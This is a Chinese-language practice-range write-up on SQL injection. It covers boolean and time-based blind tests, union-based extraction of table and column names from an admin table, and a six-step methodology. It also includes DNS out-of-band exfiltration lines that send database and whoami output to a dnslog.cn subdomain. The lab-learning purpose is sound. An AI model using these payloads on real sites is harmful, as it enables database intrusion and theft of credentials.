靶场篇#
点开页面很明显可以发现一个注入点
通过对其进行测试拼接 and 1=1 发现页面可以正常显示,并且当 and 1=2 时发现页面异常
判断可能是数字型
数字型可以不需要引号闭合,字符型构造的时候需要注意进行引号的闭合
order by 3 页面报错可以得出当前数据库存在两列,同时发现数据库无回显
and if(exists(select * from information_schema.tables limit 1),sleep(10),1)--
通过使用 if 判断加上 exists 函数来查询是否存在 information_schema.tables 这个表
如果存在会延迟 10 秒
如果不存在会返回数值 1,这个 1 在 if 判断中代表为真,不会影响结果
简单来说就是如果存在 information_schema.tables 这个表那么就会延迟 10 秒,不存在页面会正常执行不会延迟
在执行 linux 系统中执行 ping whoami
.i0f4xk.dnslog.cn 因为 whoami 被反引号包裹,所以会先执行
whoami 命令,同理 ping $(whoami).i0f4xk.dnslog.cn 和上述代码作用相同
但是如果直接在 dns 前添加 whoami 则并不会输出命令
同理在 windos 中,使用 ping % username%..i0f4xk.dnslog.cn 也可以执行命令 g
本人对 dns 泛解析原理还处于似懂非懂,希望有大佬可以详解 dns 外带原理。
?id=1 union select 1,load_file(concat("\\",(select database()),".eoumbx.dnslog.cn\abc")) --+
页面正常但是 dnslog 外带失败
发现 dnslog 无法进行外带,这时候陷入僵突然发现在?id=1 and 1=2 union select 1,2 中竟然有回显顿时豁然开朗 (星际玩家表示很难发现。。。。)
那么直接就?id=1 and 1=2 union select 1,database () 查询到当前表名为 maoshe
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()
information_schema
是一种特殊的数据库,它在 SQL 标准中定义,用于存储数据库的元数据,包括数据库、表、列、约束、权限等的信息。
table_schema 为 information_schema.tables 中查询数据库表名函数
columns_name 为 information_schema.columns 中查询数据库列名的函数
?id=1 and 1=2 union select 5,column_name from information_schema.columns where table_schema =database () and table_name ="admin" limit 0,1 通过参数偏移查询到 admin 表单中有 id,username 和 password 列
通过查询 information_schema.columns 中的 column_name 列可以反馈 admin 表的列名
当查询表单的名称与当前表单名称相同时,使用 and 进行并操作,table_name= "admin" 也就是上一步查询的 admin 才显示
limit 参数用来进行对结果进行偏移,因为回显只有一个,需要通过 limit x,y 进行调节
从第 x 个开始输出 y 个
知道了表名和列名输出数据就十分容易了
通过网上信息搜索发现可以利用 group_concat()函数进行数据的大量输出
例如,?id=1 and 1=2 union select 5,group_concat (table_name) from information_schema.tables 可以输出 table_name 的所有数据
?id=1 and 1=2 union select 5,group_concat(column_name) from information_schema.columns where table_name ='xss'
接下来简单说一下 sql 注入思路吧
1. 需要找到注入点
2. 进行判断,判断是字符型还是数字型,字符型需要进行适当的引号闭合,数字型不需要
3. 通过 orde by 对字段数进行判断(方便后续对回显点利用)
4. 通过联合报错查询对回显点进行判断(如果无回显就只能进行盲注了)
5. 通过 information_schema.tables 的 table_name 查询表名(可以利用 limit 进行单个查询也可以使用 group_concat 查询)
6. 通过 information_schema.columns 的 cloumn_name 查询列名